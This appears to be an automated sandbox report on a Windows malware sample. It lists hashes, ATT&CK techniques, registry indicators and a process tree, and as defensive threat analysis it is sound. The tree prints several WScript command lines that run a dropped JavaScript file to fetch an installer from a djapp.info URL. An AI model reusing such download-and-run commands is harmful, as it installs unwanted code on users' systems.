262a372f4d3d8f20f864c87f103a2771958a377b4c1585ca9c17ebb88521493f

Analysis

max time kernel
100s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10/06/2024, 16:02

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General

Target
9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe
Size 184KB
Sample240610-tg1wcssdrb
SHA256 262a372f4d3d8f20f864c87f103a2771958a377b4c1585ca9c17ebb88521493f
MD5 9b3e389444851c12149eced55e41d1c5
SHA1 0464eb5a621acec92c13d3cbf08ec2b8d5050662
SHA512 89a11f369bc52b5ab6add629d04a38639e65b1e29f74a75ebd4e10613a226973a62c01a58b7c20116b607dd1cb902e49f0316a2648f1432956ec661e9216191a
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3K:/7BSH8zUB+nGESaaRvoB7FJNndnn
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 4256	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	82
PID 1636 wrote to memory of 4256	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	82
PID 1636 wrote to memory of 4256	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	82
PID 1636 wrote to memory of 4216	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	89
PID 1636 wrote to memory of 4216	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	89
PID 1636 wrote to memory of 4216	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	89
PID 1636 wrote to memory of 3212	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	95
PID 1636 wrote to memory of 3212	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	95
PID 1636 wrote to memory of 3212	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	95
PID 1636 wrote to memory of 3228	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	96
PID 1636 wrote to memory of 3228	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	96
PID 1636 wrote to memory of 3228	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	96
PID 1636 wrote to memory of 2252	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	97
PID 1636 wrote to memory of 2252	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	97
PID 1636 wrote to memory of 2252	1636	9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe	97

C:\Users\Admin\AppData\Local\Temp\9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9b3e389444851c12149eced55e41d1c5_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4249.js" http://www.djapp.info/?domain=DZbWxafvuo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4249.exe
  2⤵
  PID:4256
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4249.js" http://www.djapp.info/?domain=DZbWxafvuo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4249.exe
  2⤵
  PID:4216
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4249.js" http://www.djapp.info/?domain=DZbWxafvuo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4249.exe
  2⤵
  PID:3212
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4249.js" http://www.djapp.info/?domain=DZbWxafvuo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4249.exe
  2⤵
  PID:3228
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4249.js" http://www.djapp.info/?domain=DZbWxafvuo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4249.exe
  2⤵
  PID:2252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf4249.js

Path C:\Users\Admin\AppData\Local\Temp\fuf4249.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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